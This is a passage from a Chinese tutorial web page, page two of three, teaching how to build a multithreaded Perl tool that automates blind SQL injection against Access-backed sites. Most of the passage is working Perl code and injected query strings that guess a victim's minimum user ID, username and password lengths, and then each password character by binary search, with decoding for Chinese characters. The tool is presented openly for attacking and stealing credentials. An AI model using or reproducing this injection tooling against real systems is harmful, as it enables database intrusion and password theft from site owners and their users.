|
|
|
PERL:铸造多线程+中文SQL自动注入机 |
热 |
|
PERL:铸造多线程+中文SQL自动注入机 |
|
作者:闵涛 文章来源:闵涛的学习笔记 点击数:3139 更新时间:2007/11/14 12:53:59 |
|
--+"; last; } } close(fieInput); return $field; }五.PERL多线程速成 然后,然后当然就是学习PERL的多线程技术!!!也许现在你就开始胆战心惊,以为这有什么了不起,呵呵,80/20的瑞士军刀法则在这里又是那么管用,我们仅仅需要学习两个函数就可以结束我们的速成班: $thread = threads->create(function, LIST) 以变量名$thread,创建一个子例程\函数(FUNCTION)的一个线程,LIST为子例程\函数的参数,CREATE可替换为NEW。 $thread->join 等待线程运行完毕。一旦结束运行,join()将返回子例程\函数(FUNCTION)的值。 THAT''''S ALL! 就这么简单?完了?就这么两把菜刀就可以干我们的革命了!!! 详情参阅ActicePerl的帮助文档:Perl/html/lib/threads.html. 5、4、3、2、1、点火!!!
程序代码:
$thread1 = threads->create("field_Input","field_Username.txt"); $thread2 = threads->create("field_Input","field_Password.txt"); $thread3 = threads->create("field_Input","field_ID.txt");回收返回仓:
程序代码:
$field_Username = $thread1->join(); $field_Password = $thread2->join(); $field_ID = $thread3->join(); 同时射出三个线程,然后JOIN回来,多么完美的落地啊,10分!!! 五. 猜数字的技巧 即便是多了几匹马,马再多也没有跑不过火轮车阿,我们来研究一下猜解的技巧,回过头看看等待我们的任务:最小用户ID - > 用户名长度- > 密码长度 - > 用户名 - > 密码。 ID值是天然的数值,长度是length($field)是数值,一位用户名和密码的ASCII码还是数值,都玩过网上的一个猜数字的JAVASCRIPT游戏吧?一个100以内的数,为什么只给你7次机会去猜?因为2^7=128,换句话说,一个128以内的数,你也只需猜7次,那么李咏节目里头那些几千上万块钱的东西,又要猜几次呢?2^13=8192, 2^14=16384,你还愁拿不到奖品吗?! 为了让大家看清楚一点,猜一个8以内的数,比如是5,步骤如下: ? < 4 N ? < 6 Y 4 + 2 ? < 5 N 6 - 1 ? = 5 也就用了三次,首先从中值(4)开始,每猜解一次加\减中值的一半(2、1),这些2^n都是固定了的,为了避免CPU的重复计算,可以根据猜解值的范围,相应预备一个数组,我准备了四个:
程序代码:
@dic1=(128,64,32,16,8,4,2,1); # 最小用户ID @dic2=(16,8,4,2,1); # 用户名、密码长度 @dic3=(64,32,16,8,4,2,1); # 英文字符 @dic4=(16384,8192,4096,2048,1024,512,256,128,64,32,16,8,4,2,1); #中文字符
算法函数如下: sub crack { my(@dic) = @_; my $sql=pop(@dic); my $i=0; my $op=1; my $crack; foreach my $pass(@dic) { print ">"; $i++; $crack+=$op*$pass; $path1 = "%20AND%20$crack<($sql)"; my @res = &connect; if ("@res" =~ /$info/) { $op=1; if($i==@dic) { $crack++; } } else { $op=-1; } } return $crack; }
$sql="select%20min($field_ID)%20from%20$table_User"; $id=&crack(@dic1,"$sql");传递进构造的SQL注入语句以及相应的数组字典,CRACK!!! 参数为数组时,子程序只将它赋给一个数组变量,my(@dic)而非my(@dic,$sql) =@_;后者,$sql必然为空!简单变量和数组变量是可以同时传递,$sql在此是@dic的最后一个元素。pop(@dic)再删去列表最后一个元素($sql),并将其作为返回值,剩下的@dic就是纯洁的数字了。 让我们一鼓作气,拿下用户名和密码长度,同时,别忘了使用多线程:
程序代码:
$sql="select%20len($field_Username)%20from%20$table_User%20where%20field_ID=$id"; my $thread4 = threads->create("crack",@dic2,$sql); $sql="select%20len($field_Password)%20from%20$table_User%20where%20$field_ID=$id"; my $thread5 = threads->create("crack",@dic2,$sql); $userlen = $thread4->join(); $passlen = $thread5->join(); 六.最后的战役-攻破字段值 使用SQL查询语句:select abs(asc(mid($fieUsername,$locat,1))) from $table_User where $field_Id = $id 这里不讨论MS-SQL中的猜测,可以说MS-SQL下是不用猜测的,你只要构造的条件足够的好,可以直接让对方在报错的时候将数据内容直接显示出来。 ACCESS中字符的猜测:首先要判断ASCII码值是否大于零,大于,就用@dic3套到CRACK函数里面,小于就用@dic4了!函数返回数值以后,对于英文字符,有两种方法:使用nchar($asc)或者pack(''''C*'''',$asc);而对于中文字符:打开计算器,选择科学型,转换成十六进制单字,是****,用UltraEdit编辑为*字,哈哈……那就不叫编程了! 首先要用sprintf("%X",$asc)完成计算器的转换十六进制的工作,(别忘了用正则表达式提出最后四位,不然一个字前面就要冒出两个空格)然后再用pack("H*",$str)完成UltraEdit的打包作业:
程序代码:
sub asc { my $asc=$_[0]; my $str; if ($asc<256) { $str = pack(''''C*'''',$asc); } else { $asc*=-1; $str = sprintf("%X",$asc); if ($str=~/(.{4})$/i) { $str=$1; } $str = pack("H*",$str); } return $str; } 万事俱备,只欠东风,此仅举猜解密码值为例,一位密码启动一个CRACK子线程:
程序代码:
for (my $locat=1;$locat<=$passlen;$locat++) { $sql = "select%20asc(mid($field_Password,$locat,1))%20from%20$table_User%20where%20$field_Id=$id"; $path1 = "%20AND%200>($sql)"; my @res = &connect; if ("@res" =~ /$info/) { $sql = "select%20abs(asc(mid($field_Password,$locat,1)))%20from%20$table_User%20where%20$field_Id=$id"; $password[$locat] = threads->create("crack",@dic4,$sql); }
上一页 [1] [2] [3] 下一页 [Access]sql随机抽取记录 [Access]ASP&SQL让select查询结果随机排序的实现方法 [系统软件]SQL语句性能优化--LECCO SQL Expert [C语言系列]SQL Server到DB2连接服务器的实现 [C语言系列]SQL Server到SYBASE连接服务器的实现 [C语言系列]SQL Server到SQLBASE连接服务器的实现 [C语言系列]SQL Server连接VFP数据库的实现 [C语言系列]ASP+SQL Server之图象数据处理 [C语言系列]SQL Server连接ACCESS数据库的实现 [C语言系列]DBA的最佳选择—图形界面还是T-SQL命令?
|
|
教程录入:mintao 责任编辑:mintao |
|
|
上一篇教程: 漫谈SQL Server中的标识列(一) 下一篇教程: Cygwin下面安装postgreSQL |
|
|
【字体:小 大】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】 |
|
注:本站部分文章源于互联网,版权归原作者所有!如有侵权,请原作者与本站联系,本站将立即删除! 本站文章除特别注明外均可转载,但需注明出处! [MinTao学以致用网] |
网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!) |
|
|
|
|
|
|
|
同类栏目 |
|
|
赞助链接 |
|
|
500 - 内部服务器错误。
|
|
|
|
|
|